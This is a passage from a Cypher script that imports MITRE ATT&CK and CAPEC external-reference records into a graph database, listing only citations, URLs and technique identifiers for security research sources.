external_id:"", source_name:"Microsoft Where to use TxF", url:"https://msdn.microsoft.com/library/windows/desktop/aa365738.aspx"}}, {_id:1265, properties:{hashes:[], description:"Liberman, T. & Kogan, E. (2017, December 7). Lost in Transaction: Process Doppelgänging. Retrieved December 20, 2017.", external_reference_id:"ffa54f9c-3cee-44c6-8312-2ad26e506a04", external_id:"", url:"https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf", source_name:"BlackHat Process Doppelgänging Dec 2017"}}, {_id:1266, properties:{hashes:[], description:"hasherezade. (2017, December 18). Process Doppelgänging – a new way to impersonate a process. Retrieved December 20, 2017.", external_reference_id:"d0a19a66-c4d6-45dd-bbcd-5cb6b0927fd3", external_id:"", url:"https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/", source_name:"hasherezade Process Doppelgänging Dec 2017"}}, {_id:1267, properties:{hashes:[], description:"Microsoft. (n.d.). PsSetCreateProcessNotifyRoutine routine. Retrieved December 20, 2017.", external_reference_id:"0555ddbe-8657-4225-a764-a67dda993761", external_id:"", url:"https://msdn.microsoft.com/library/windows/hardware/ff559951.aspx", source_name:"Microsoft PsSetCreateProcessNotifyRoutine routine"}}, {_id:1232, properties:{hashes:[], description:"", external_id:"T1086", external_reference_id:"b5c38303-b993-424e-be58-5581b252b1cf", url:"https://attack.mitre.org/techniques/T1086", source_name:"mitre-attack"}}, {_id:1237, properties:{hashes:[], description:"Christensen, L.. (2015, December 28). The Evolution of Offensive PowerShell Invocation. Retrieved December 8, 2018.", external_reference_id:"bdb48e21-a461-44e0-97df-bca21fb751a3", external_id:"", source_name:"SilentBreak Offensive PS Dec 2015", url:"https://silentbreaksecurity.com/powershell-jobs-without-powershell-exe/"}}, {_id:1238, properties:{hashes:[], description:"Babinec, K. (2014, April 28). Executing PowerShell scripts from C#. Retrieved April 22, 2019.", external_reference_id:"cae4cf1c-2841-4359-818a-33e75bca8f5a", external_id:"", source_name:"Microsoft PSfromCsharp APR 2014", url:"https://blogs.msdn.microsoft.com/kebab/2014/04/28/executing-powershell-scripts-from-c/"}}, {_id:1245, properties:{hashes:[], description:"Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", external_reference_id:"8689b6ec-2eb6-4251-84d8-bc83b0a8801a", external_id:"", source_name:"ESET Turla PowerShell May 2019", url:"https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/"}}, {_id:1252, properties:{hashes:[], description:"Wikipedia. (2017, June 29). Public-key cryptography. Retrieved July 5, 2017.", external_reference_id:"3ae3f74d-2efe-490d-8153-a4c1a5a410de", external_id:"", source_name:"Wikipedia Public Key Crypto", url:"https://en.wikipedia.org/wiki/Public-key_cryptography"}}, {_id:1104, properties:{hashes:[], description:"", external_id:"T1040", external_reference_id:"5e522639-c509-47ea-b9a9-32465bbd8402", url:"https://attack.mitre.org/techniques/T1040", source_name:"mitre-attack"}}] AS row
CREATE (n:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row._id}) SET n += row.properties SET n:external_reference;
UNWIND [{_id:1105, properties:{hashes:[], description:"", external_id:"CAPEC-158", external_reference_id:"ac0cb5d5-06e2-43fa-a186-21f2c3706424", source_name:"capec", url:"https://capec.mitre.org/data/definitions/158.html"}}, {_id:1126, properties:{hashes:[], description:"Wikipedia. (2017, December 29). Duqu. Retrieved April 10, 2018.", external_id:"", external_reference_id:"ab47e5d9-569a-41d0-87aa-bf0a0de595d0", url:"https://en.wikipedia.org/wiki/Duqu", source_name:"Wikipedia Duqu"}}, {_id:1127, properties:{hashes:[], description:"Saavedra-Morales, J., Sherstobitoff, R. (2018, January 6). Malicious Document Targets Pyeongchang Olympics. Retrieved April 10, 2018.", external_reference_id:"38507fb6-e372-4097-b988-6b20a2c028e5", external_id:"", url:"https://securingtomorrow.mcafee.com/mcafee-labs/malicious-document-targets-pyeongchang-olympics/", source_name:"McAfee Malicious Doc Targets Pyeongchang Olympics"}}, {_id:1134, properties:{hashes:[], description:"Austin, J. (2017, June 6). Getting Started with VBA in Office. Retrieved July 3, 2017.", external_id:"", external_reference_id:"2c3297fa-cc4b-4f5d-be37-2ed07b4bdbe6", url:"https://msdn.microsoft.com/en-us/vba/office-shared-vba/articles/getting-started-with-vba-in-office", source_name:"MSDN VBA in Office"}}, {_id:1153, properties:{hashes:[], description:"", external_id:"T1502", external_reference_id:"eb24f73b-f77b-46a4-b775-550d4198046c", url:"https://attack.mitre.org/techniques/T1502", source_name:"mitre-attack"}}, {_id:1158, properties:{hashes:[], description:"Chester, A. (2017, November 20). Alternative methods of becoming SYSTEM. Retrieved June 4, 2019.", external_id:"", external_reference_id:"d90aa852-6f93-490d-9cc6-40326678f063", url:"https://blog.xpnsec.com/becoming-system/", source_name:"XPNSec PPID Nov 2017"}}, {_id:1164, properties:{hashes:[], description:"", external_id:"T1075", external_reference_id:"73337429-7731-40fe-9802-fc2a6149585c", url:"https://attack.mitre.org/techniques/T1075", source_name:"mitre-attack"}}, {_id:1165, properties:{hashes:[], description:"", external_id:"CAPEC-644", external_reference_id:"c17af455-ec98-4182-bbb6-55e236e56919", source_name:"capec", url:"https://capec.mitre.org/data/definitions/644.html"}}, {_id:1166, properties:{hashes:[], description:"National Security Agency/Central Security Service Information Assurance Directorate. (2015, August 7). Spotting the Adversary with Windows Event Log Monitoring. Retrieved September 6, 2018.", external_id:"", external_reference_id:"c0fa0041-d228-46bc-97ec-81ab0d45dd49", url:"https://www.iad.gov/iad/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm", source_name:"NSA Spotting"}}, {_id:1088, properties:{hashes:[], description:"", external_id:"T1046", external_reference_id:"65bc88b5-6c64-43fb-8f14-6e79672e64c8", url:"https://attack.mitre.org/techniques/T1046", source_name:"mitre-attack"}}, {_id:1096, properties:{hashes:[], description:"", external_id:"T1135", external_reference_id:"6adbebd7-273f-4382-b813-4d64257cf053", url:"https://attack.mitre.org/techniques/T1135", source_name:"mitre-attack"}}, {_id:1097, properties:{hashes:[], description:"", external_id:"CAPEC-643", external_reference_id:"7d129c7f-0af6-4ff1-9e77-281b7807f086", source_name:"capec", url:"https://capec.mitre.org/data/definitions/643.html"}}, {_id:1098, properties:{hashes:[], description:"Wikipedia. (2017, April 15). Shared resource. Retrieved June 30, 2017.", external_id:"", external_reference_id:"6175b9e0-5c85-4f4b-8ebe-1d473155ec1f", url:"https://en.wikipedia.org/wiki/Shared_resource", source_name:"Wikipedia Shared Resource"}}, {_id:1099, properties:{hashes:[], description:"Microsoft. (n.d.). Share a Folder or Drive. Retrieved June 30, 2017.", external_id:"", external_reference_id:"286adb66-03c7-47ff-a4d7-b94411d6ab8f", url:"https://technet.microsoft.com/library/cc770880.aspx", source_name:"TechNet Shared Folder"}}, {_id:1100, properties:{hashes:[], description:"Amazon. (n.d.). Creating an NFS File Share. Retrieved October 23, 2019.", external_reference_id:"a647a6de-ce35-4712-8ad2-18a685e69f96", external_id:"", source_name:"Amazon Creating an NFS File Share", url:"https://docs.aws.amazon.com/storagegateway/latest/userguide/CreatingAnNFSFileShare.html"}}, {_id:208, properties:{hashes:[], description:"Plett, C. et al.. (2017, October 15). assoc. Retrieved August 7, 2018.", external_id:"", external_reference_id:"9197fb67-f943-435e-accb-6f6e738af715", url:"https://docs.microsoft.com/windows-server/administration/windows-commands/assoc", source_name:"Microsoft Assoc Oct 2017"}}, {_id:212, properties:{hashes:[], description:"", external_id:"T1146", external_reference_id:"547b3de6-3b69-4d57-94f7-82309fd8ff2c", url:"https://attack.mitre.org/techniques/T1146", source_name:"mitre-attack"}}, {_id:177, properties:{hashes:[], description:"Metcalf, S. (2018, May 6). Trimarc Research: Detecting Password Spraying with Security Event Auditing. Retrieved January 16, 2019.", external_reference_id:"166ce303-4df2-4ff3-9b47-d2ec07cbfeae", external_id:"", source_name:"Trimarc Detecting Password Spraying", url:"https://www.trimarcsecurity.com/single-post/2018/05/06/Trimarc-Research-Detecting-Password-Spraying-with-Security-Event-Auditing"}}, {_id:163, properties:{hashes:[], description:"Brinkmann, M. (2017, September 19). First Chrome extension with JavaScript Crypto Miner detected. Retrieved November 16, 2017.", external_reference_id:"6648c537-ab71-46e1-bc0e-bf38e05691c0", external_id:"", source_name:"Chrome Extension Crypto Miner", url:"https://www.ghacks.net/2017/09/19/first-chrome-extension-with-javascript-crypto-miner-detected/"}}, {_id:167, properties:{hashes:[], description:"Vachon, F., Faou, M. (2017, July 20). Stantinko: A massive adware campaign operating covertly since 2012. Retrieved November 16, 2017.", external_id:"", external_reference_id:"c75af1b0-ce6f-4777-b9e8-adfe7bc8fc88", url:"https://www.welivesecurity.com/2017/07/20/stantinko-massive-adware-campaign-operating-covertly-since-2012/", source_name:"Stantinko Botnet"}}] AS row
CREATE (n:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row._id}) SET n += row.properties SET n:external_reference;
UNWIND [{_id:255, properties:{hashes:[], description:"Trend Micro. (2019, February 11). Windows App Runs on Mac, Downloads Info Stealer and Adware. Retrieved April 25, 2019.", external_id:"", external_reference_id:"fa324173-cc3a-4aac-b96f-fe068e1abf3c", url:"https://blog.trendmicro.com/trendlabs-security-intelligence/windows-app-runs-on-mac-downloads-info-stealer-and-adware/", source_name:"TrendMicro WindowsAppMac"}}, {_id:267, properties:{hashes:[], description:"", external_id:"T1109", external_reference_id:"541193bb-868e-45de-9e85-6871a24dc081", url:"https://attack.mitre.org/techniques/T1109", source_name:"mitre-attack"}}, {_id:274, properties:{hashes:[], description:"", external_id:"T1122", external_reference_id:"921e60d9-6067-4830-a947-f29b4f15ee69", url:"https://attack.mitre.org/techniques/T1122", source_name:"mitre-attack"}}, {_id:275, properties:{hashes:[], description:"Microsoft. (n.d.). The Component Object Model. Retrieved August 18, 2016.", external_reference_id:"e6879f55-44d8-424f-92f4-2b6e54591785", external_id:"", source_name:"Microsoft Component Object Model", url:"https://msdn.microsoft.com/library/ms694363.aspx"}}, {_id:276, properties:{hashes:[], description:"G DATA. (2014, October). COM Object hijacking: the discreet way of persistence. Retrieved August 13, 2016.", external_id:"", external_reference_id:"ce2c3a46-ed48-418f-aac8-5252ecfdb718", url:"https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence", source_name:"GDATA COM Hijacking"}}, {_id:277, properties:{hashes:[], description:"Ewing, P. Strom, B. (2016, September 15). How to Hunt: Detecting Persistence & Evasion with the COM. Retrieved September 15, 2016.", external_id:"", external_reference_id:"1abbff4a-850f-4dad-ba62-dc13ca3b672e", url:"https://www.endgame.com/blog/how-hunt-detecting-persistence-evasion-com", source_name:"Endgame COM Hijacking"}}, {_id:232, properties:{hashes:[], description:"Rhino Security Labs. (2019, August 22). Pacu. Retrieved October 17, 2019.", external_id:"", external_reference_id:"88d7beff-fb93-4785-bee7-e8e4929178bc", url:"https://github.com/RhinoSecurityLabs/pacu", source_name:"GitHub Pacu"}}, {_id:218, properties:{hashes:[], description:"rvrsh3ll. (2016, May 18). Operating with EmPyre. Retrieved July 12, 2017.", external_id:"", external_reference_id:"a7ff8595-3fd2-46b3-b4d6-afa959f28b63", url:"http://www.rvrsh3ll.net/blog/empyre/operating-with-empyre/", source_name:"Operating with EmPyre"}}, {_id:221, properties:{hashes:[], description:"", external_id:"T1522", external_reference_id:"816c989b-1a97-47ee-a18b-89948495d7e4", url:"https://attack.mitre.org/techniques/T1522", source_name:"mitre-attack"}}, {_id:92, properties:{hashes:[], description:"Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure APIs. Retrieved September 12, 2019.", external_reference_id:"6724a2ac-b789-4b06-a492-5fbd84d7dd8c", external_id:"", url:"https://auth0.com/docs/api-auth/why-use-access-tokens-to-secure-apis", source_name:"Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019"}}, {_id:117, properties:{hashes:[], description:"Microsoft. (n.d.). Authentication Packages. Retrieved March 1, 2017.", external_reference_id:"3f98b132-6f66-4a83-b39f-24ef1ebb1d8a", external_id:"", source_name:"MSDN Authentication Packages", url:"https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx"}}, {_id:118, properties:{hashes:[], description:"Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.", external_id:"", external_reference_id:"5815007c-3c3a-45e1-99f5-280c425b2fd0", url:"http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html", source_name:"Graeber 2014"}}, {_id:63, properties:{hashes:[], description:"Kunz, Bryce. (2018, May 11). Blue Cloud of Death: Red Teaming Azure. Retrieved October 23, 2019.", external_id:"", external_reference_id:"85c96019-29c4-4298-ae45-1bd9f301b352", url:"https://speakerdeck.com/tweekfawkes/blue-cloud-of-death-red-teaming-azure-1", source_name:"Blue Cloud of Death"}}, {_id:91, properties:{hashes:[], description:"", external_id:"T1527", external_reference_id:"d4261cbd-5995-469b-b476-8965b7ebec87", url:"https://attack.mitre.org/techniques/T1527", source_name:"mitre-attack"}}, {_id:133, properties:{hashes:[], description:"Mondok, M. (2007, May 11). Malware piggybacks on Windows’ Background Intelligent Transfer Service. Retrieved January 12, 2018.", external_reference_id:"69dd5df6-b784-4557-b097-fcc7b7e340ea", external_id:"", url:"https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/", source_name:"Mondok Windows PiggyBack BITS May 2007"}}, {_id:141, properties:{hashes:[], description:"Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.", external_reference_id:"023cc3ba-4744-4444-953e-2f53688d6280", external_id:"", source_name:"External to DA, the OS X Way", url:"http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way"}}, {_id:129, properties:{hashes:[], description:"Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.", external_id:"", external_reference_id:"76f7983c-3611-4264-9271-0b2fae3fc712", url:"https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx", source_name:"Microsoft COM"}}, {_id:51, properties:{hashes:[], description:"", external_id:"CAPEC-575", external_reference_id:"35cf207c-8cf4-40e1-ae62-442ed544fde0", source_name:"capec", url:"https://capec.mitre.org/data/definitions/575.html"}}, {_id:52, properties:{hashes:[], description:"Microsoft. (n.d.). Get-MsolRoleMember. Retrieved October 6, 2019.", external_id:"", external_reference_id:"c49fe9df-a85c-4ca1-9f53-8436f18ab148", url:"https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrolemember?view=azureadps-1.0", source_name:"Microsoft msolrolemember"}}, {_id:53, properties:{hashes:[], description:"Stringer, M.. (2018, November 21). RainDance. Retrieved October 6, 2019.", external_id:"", external_reference_id:"c5f50913-df84-4b41-8901-7ca40996a15e", url:"https://github.com/True-Demon/raindance", source_name:"GitHub Raindance"}}] AS row
CREATE (n:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row._id}) SET n += row.properties SET n:external_reference;
UNWIND [{_id:54, properties:{hashes:[], description:"Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.", external_id:"", external_reference_id:"fcd01ee1-58b4-4ff5-81ef-e7ae57e9394d", url:"https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest", source_name:"Microsoft AZ CLI"}}, {_id:55, properties:{hashes:[], description:"Felch, M.. (2018, August 31). Red Teaming Microsoft Part 1 Active Directory Leaks via Azure. Retrieved October 6, 2019.", external_reference_id:"82ebbfc9-5ee2-4851-a3ae-5f08fadb6f59", external_id:"", url:"https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/", source_name:"Black Hills Red Teaming MS AD Azure, 2018"}}, {_id:56, properties:{hashes:[], description:"Microsoft. (n.d.). Get-GlobalAddressList. Retrieved October 6, 2019.", external_reference_id:"652e617c-5324-44cf-8030-70c547a4bb79", external_id:"", source_name:"Microsoft getglobaladdresslist", url:"https://docs.microsoft.com/en-us/powershell/module/exchange/email-addresses-and-address-books/get-globaladdresslist"}}, {_id:57, properties:{hashes:[], description:"Bullock, B.. (2016, October 3). Attacking Exchange with MailSniper. Retrieved October 6, 2019.", external_reference_id:"959038b4-84d2-4e6e-90b3-65b63b0408fe", external_id:"", url:"https://www.blackhillsinfosec.com/attacking-exchange-with-mailsniper/", source_name:"Black Hills Attacking Exchange MailSniper, 2016"}}, {_id:47, properties:{hashes:[], description:"Harbison, M.. (2019, March 26). Born This Way? Origins of LockerGoga. Retrieved April 16, 2019.", external_id:"", external_reference_id:"644bac94-d54c-4c1c-a923-6c6b05ce6966", url:"https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/", source_name:"Unit42 LockerGoga 2019"}}, {_id:50, properties:{hashes:[], description:"", external_id:"T1087", external_reference_id:"850bfded-0a49-4b22-850c-a94b1f607b92", url:"https://attack.mitre.org/techniques/T1087", source_name:"mitre-attack"}}, {_id:4, properties:{hashes:[], description:"", external_id:"CAPEC-633", external_reference_id:"9f4aa841-4f22-4b78-b167-0359b6f136b5", source_name:"capec", url:"https://capec.mitre.org/data/definitions/633.html"}}, {_id:45, properties:{hashes:[], description:"", external_id:"T1531", external_reference_id:"ad06a0c2-417d-458c-9fbe-28d6947bdd9c", url:"https://attack.mitre.org/techniques/T1531", source_name:"mitre-attack"}}, {_id:46, properties:{hashes:[], description:"CarbonBlack Threat Analysis Unit. (2019, March 22). TAU Threat Intelligence Notification – LockerGoga Ransomware. Retrieved April 16, 2019.", external_reference_id:"319ad482-70a6-4b3e-a4a2-3edb5518b367", external_id:"", source_name:"CarbonBlack LockerGoga 2019", url:"https://www.carbonblack.com/2019/03/22/tau-threat-intelligence-notification-lockergoga-ransomware/"}}, {_id:1101, properties:{hashes:[], description:"Google Cloud. (2019, October 10). File servers on Compute Engine. Retrieved October 23, 2019.", external_reference_id:"33d8f220-f638-45d9-8132-6dd646d0fc5b", external_id:"", url:"https://cloud.google.com/solutions/filers-on-compute-engine", source_name:"Google File servers on Compute Engine"}}, {_id:628, properties:{hashes:[], description:"", external_id:"T1212", external_reference_id:"f90ab294-f6e3-441e-800b-aaf625086112", url:"https://attack.mitre.org/techniques/T1212", source_name:"mitre-attack"}}, {_id:629, properties:{hashes:[], description:"Microsoft. (2014, November 18). Vulnerability in Kerberos Could Allow Elevation of Privilege (3011780). Retrieved December 23, 2015.", external_id:"", external_reference_id:"2dc711c7-b3db-4532-aa0c-00e3c497c4f4", url:"https://technet.microsoft.com/en-us/library/security/ms14-068.aspx", source_name:"Technet MS14-068"}}, {_id:1043, properties:{hashes:[], description:"", external_id:"T1188", external_reference_id:"3b595648-030d-4c2a-ba65-1d96193f52b4", url:"https://attack.mitre.org/techniques/T1188", source_name:"mitre-attack"}}, {_id:630, properties:{hashes:[], description:"Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.", external_reference_id:"07d8a5fe-fdbe-40ee-b395-675be3c75427", external_id:"", url:"https://adsecurity.org/?p=1515", source_name:"ADSecurity Detecting Forged Tickets"}}, {_id:647, properties:{hashes:[], description:"", external_id:"CAPEC-555", external_reference_id:"345c14ee-e403-43c5-9335-c028b4ffcf53", source_name:"capec", url:"https://capec.mitre.org/data/definitions/555.html"}}, {_id:1065, properties:{hashes:[], description:"Moe, O. (2018, April 11). Putting Data in Alternate Data Streams and How to Execute It - Part 2. Retrieved June 30, 2018.", external_id:"", external_reference_id:"98bdbf92-98a1-4fa4-8eed-a3d551daf0c7", url:"https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/", source_name:"Oddvar Moe ADS2 Apr 2018"}}, {_id:653, properties:{hashes:[], description:"Microsoft. (n.d.). About Window Classes. Retrieved December 16, 2017.", external_id:"", external_reference_id:"cb326899-de31-4438-98dd-ff244591d34e", url:"https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx", source_name:"Microsoft Window Classes"}}, {_id:588, properties:{hashes:[], description:"Warren, R. (2017, August 8). Smuggling HTA files in Internet Explorer/Edge. Retrieved January 16, 2019.", external_id:"", external_reference_id:"ca336936-ddae-4729-96f4-6dc7181dee8d", url:"https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/august/smuggling-hta-files-in-internet-exploreredge/", source_name:"Environmental Keyed HTA"}}, {_id:589, properties:{hashes:[], description:"Morrow, T., Pitts, J. (2016, October 28). Genetic Malware: Designing Payloads for Specific Targets. Retrieved January 18, 2019.", external_id:"", external_reference_id:"4b40efc5-c530-48f5-acbe-9ebd43ccb36d", url:"https://github.com/Genetic-Malware/Ebowla/blob/master/Eko_2016_Morrow_Pitts_Master.pdf", source_name:"Ebowla: Genetic Malware"}}, {_id:590, properties:{hashes:[], description:"Warren, R. (2017, August 2). Demiguise: virginkey.js. Retrieved January 17, 2019.", external_reference_id:"8f4d9085-9aaf-4312-8008-a17a68df821e", external_id:"", source_name:"Demiguise Guardrail Router Logo", url:"https://github.com/nccgroup/demiguise/blob/master/examples/virginkey.js"}}] AS row
CREATE (n:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row._id}) SET n += row.properties SET n:external_reference;
UNWIND [{_id:829, properties:{hashes:[], description:"vector_sec. (2017, August 11). Defenders watching launches of cmd? What about forfiles?. Retrieved January 22, 2018.", external_reference_id:"7e75ea73-f702-42d9-be4d-02d4442bcea6", external_id:"", source_name:"VectorSec ForFiles Aug 2017", url:"https://twitter.com/vector_sec/status/896049052642533376"}}, {_id:839, properties:{hashes:[], description:"", external_id:"T1056", external_reference_id:"bf710842-b854-41b5-a844-3ab1df57f636", url:"https://attack.mitre.org/techniques/T1056", source_name:"mitre-attack"}}, {_id:840, properties:{hashes:[], description:"", external_id:"CAPEC-568", external_reference_id:"de7357fc-02b8-41a7-9db5-bd31588f6e09", source_name:"capec", url:"https://capec.mitre.org/data/definitions/568.html"}}, {_id:841, properties:{hashes:[], description:"Tinaztepe,  E. (n.d.). The Adventures of a Keystroke:  An in-depth look into keyloggers on Windows. Retrieved April 27, 2016.", external_id:"", external_reference_id:"9c75105b-d371-4180-9b94-e6cc8fffef24", url:"http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf", source_name:"Adventures of a Keystroke"}}, {_id:842, properties:{hashes:[], description:"Wrightson, T. (2012, January 2). CAPTURING WINDOWS 7 CREDENTIALS AT LOGON USING CUSTOM CREDENTIAL PROVIDER. Retrieved November 12, 2014.", external_id:"", external_reference_id:"108ad44d-1d97-41a2-b7a1-8acba1771cbe", url:"http://blog.leetsys.com/2012/01/02/capturing-windows-7-credentials-at-logon-using-custom-credential-provider/", source_name:"Wrightson 2012"}}, {_id:843, properties:{hashes:[], description:"Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.", external_reference_id:"a3bdb366-010a-4cce-b86a-7bff18b11fa9", external_id:"", source_name:"Volexity Virtual Private Keylogging", url:"https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/"}}, {_id:1705, properties:{hashes:[], description:"Routin, D. (2017, November 13). Abusing network shares for efficient lateral movements and privesc (DirSharePivot). Retrieved April 12, 2018.", external_reference_id:"92566394-077f-4242-8874-8f48cc7be0bb", external_id:"", source_name:"Retwin Directory Share Pivot", url:"https://rewtin.blogspot.ch/2017/11/abusing-user-shares-for-efficient.html"}}, {_id:1726, properties:{hashes:[], description:"Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018.", external_reference_id:"fb237ea7-2dcb-4912-b02d-96355fe1a595", external_id:"", source_name:"Microsoft W32Time May 2017", url:"https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings"}}, {_id:1727, properties:{hashes:[], description:"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", external_id:"", external_reference_id:"745097fe-1d46-420e-82bd-e25626ccb881", url:"https://technet.microsoft.com/en-us/sysinternals/bb963902", source_name:"TechNet Autoruns"}}, {_id:1730, properties:{hashes:[], description:"", external_id:"T1099", external_reference_id:"75119a21-3967-4ba5-9e9f-34f4550be520", url:"https://attack.mitre.org/techniques/T1099", source_name:"mitre-attack"}}, {_id:1731, properties:{hashes:[], description:"Carvey, H. (2013, July 23). HowTo: Determine/Detect the use of Anti-Forensics Techniques. Retrieved June 3, 2016.", external_reference_id:"6e23993d-a143-4a50-adc0-1f45e0cb7553", external_id:"", source_name:"WindowsIR Anti-Forensic Techniques", url:"http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html"}}, {_id:1738, properties:{hashes:[], description:"", external_id:"T1493", external_reference_id:"473a9f14-7b30-4bb4-b6b1-237323516a63", url:"https://attack.mitre.org/techniques/T1493", source_name:"mitre-attack"}}, {_id:1739, properties:{hashes:[], description:"FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.", external_id:"", external_reference_id:"f3746ce0-72c6-44a3-9467-775b525427fd", url:"https://content.fireeye.com/apt/rpt-apt38", source_name:"FireEye APT38 Oct 2018"}}, {_id:1740, properties:{hashes:[], description:"Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.", external_id:"", external_reference_id:"c8525ad9-081f-4f18-b234-b0ed8655b991", url:"https://www.justice.gov/opa/press-release/file/1092091/download", source_name:"DOJ Lazarus Sony 2018"}}, {_id:1756, properties:{hashes:[], description:"Marshall, D. (2017, May 23). Debugging Tools for Windows (WinDbg, KD, CDB, NTSD). Retrieved June 29, 2017.", external_reference_id:"39df8c21-7a29-4383-a9dc-14f2e811a93e", external_id:"", url:"https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/index", source_name:"Microsoft Debugging Tools for Windows"}}, {_id:1766, properties:{hashes:[], description:"", external_id:"T1111", external_reference_id:"d26fd1f9-05f7-4f3e-b85f-e718e334b42f", url:"https://attack.mitre.org/techniques/T1111", source_name:"mitre-attack"}}, {_id:1787, properties:{hashes:[], description:"", external_id:"T1078", external_reference_id:"c5fa0cc7-6e7e-45b7-b86e-ef1b1e027d46", url:"https://attack.mitre.org/techniques/T1078", source_name:"mitre-attack"}}, {_id:1808, properties:{hashes:[], description:"Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", external_id:"", external_reference_id:"87727fea-57ae-457d-b522-27a530824872", url:"https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html", source_name:"FireEye FIN7 April 2017"}}, {_id:1831, properties:{hashes:[], description:"", external_id:"T1077", external_reference_id:"e95a067d-6268-45ba-a58e-37aa62414b7e", url:"https://attack.mitre.org/techniques/T1077", source_name:"mitre-attack"}}, {_id:1834, properties:{hashes:[], description:"Microsoft. (2003, March 28). What Is RPC?. Retrieved June 12, 2016.", external_id:"", external_reference_id:"5a90d277-0d4e-4569-a628-c8a95a82c3a0", url:"https://technet.microsoft.com/en-us/library/cc787851.aspx", source_name:"TechNet RPC"}}] AS row
CREATE (n:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row._id}) SET n += row.properties SET n:external_reference;
UNWIND [{_id:1843, properties:{hashes:[], description:"Wikipedia. (2016, June 12). Server Message Block. Retrieved June 12, 2016.", external_id:"", external_reference_id:"191cc650-a40c-4ae7-91cf-413176631aaa", url:"https://en.wikipedia.org/wiki/Server_Message_Block", source_name:"Wikipedia SMB"}}, {_id:1849, properties:{hashes:[], description:"", external_id:"T1084", external_reference_id:"f6864a60-4d40-40f6-a937-3d38db0c0e18", url:"https://attack.mitre.org/techniques/T1084", source_name:"mitre-attack"}}, {_id:1850, properties:{hashes:[], description:"Dell SecureWorks Counter Threat Unit™ (CTU) Research Team. (2016, March 28). A Novel WMI Persistence Implementation. Retrieved March 30, 2016.", external_id:"", external_reference_id:"07368166-5f88-4e4d-a6aa-9a4e7e048847", url:"https://www.secureworks.com/blog/wmi-persistence", source_name:"Dell WMI Persistence"}}, {_id:1851, properties:{hashes:[], description:"Kazanciyan, R. & Hastings, M. (2014). Defcon 22 Presentation. Investigating PowerShell Attacks &#91;slides&#93;. Retrieved November 3, 2014.", external_id:"", external_reference_id:"e900da95-ddcf-40a5-851a-d44409c02eba", url:"https://www.defcon.org/images/defcon-22/dc-22-presentations/Kazanciyan-Hastings/DEFCON-22-Ryan-Kazanciyan-Matt-Hastings-Investigating-Powershell-Attacks.pdf", source_name:"Kazanciyan 2014"}}, {_id:1852, properties:{hashes:[], description:"Mandiant. (2015, February 24). M-Trends 2015: A View from the Front Lines. Retrieved May 18, 2016.", external_reference_id:"553f6221-6539-4f4b-a690-65ffebbe2649", external_id:"", source_name:"Mandiant M-Trends 2015", url:"https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf"}}, {_id:1853, properties:{hashes:[], description:"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", external_id:"", external_reference_id:"e0906c01-8fce-4619-b2f1-73a461f08225", url:"https://technet.microsoft.com/en-us/sysinternals/bb963902", source_name:"TechNet Autoruns"}}, {_id:1854, properties:{hashes:[], description:"French, D.. (2018, October 9). Detecting & Removing an Attacker’s WMI Persistence. Retrieved October 11, 2019.", external_reference_id:"c21ab0a5-f783-4d0c-a824-087bf2ca9a0d", external_id:"", source_name:"Medium Detecting WMI Persistence", url:"https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96"}}, {_id:1875, properties:{hashes:[], description:"Admin. (2018, March 2). Spear-phishing campaign leveraging on MSXSL. Retrieved July 3, 2018.", 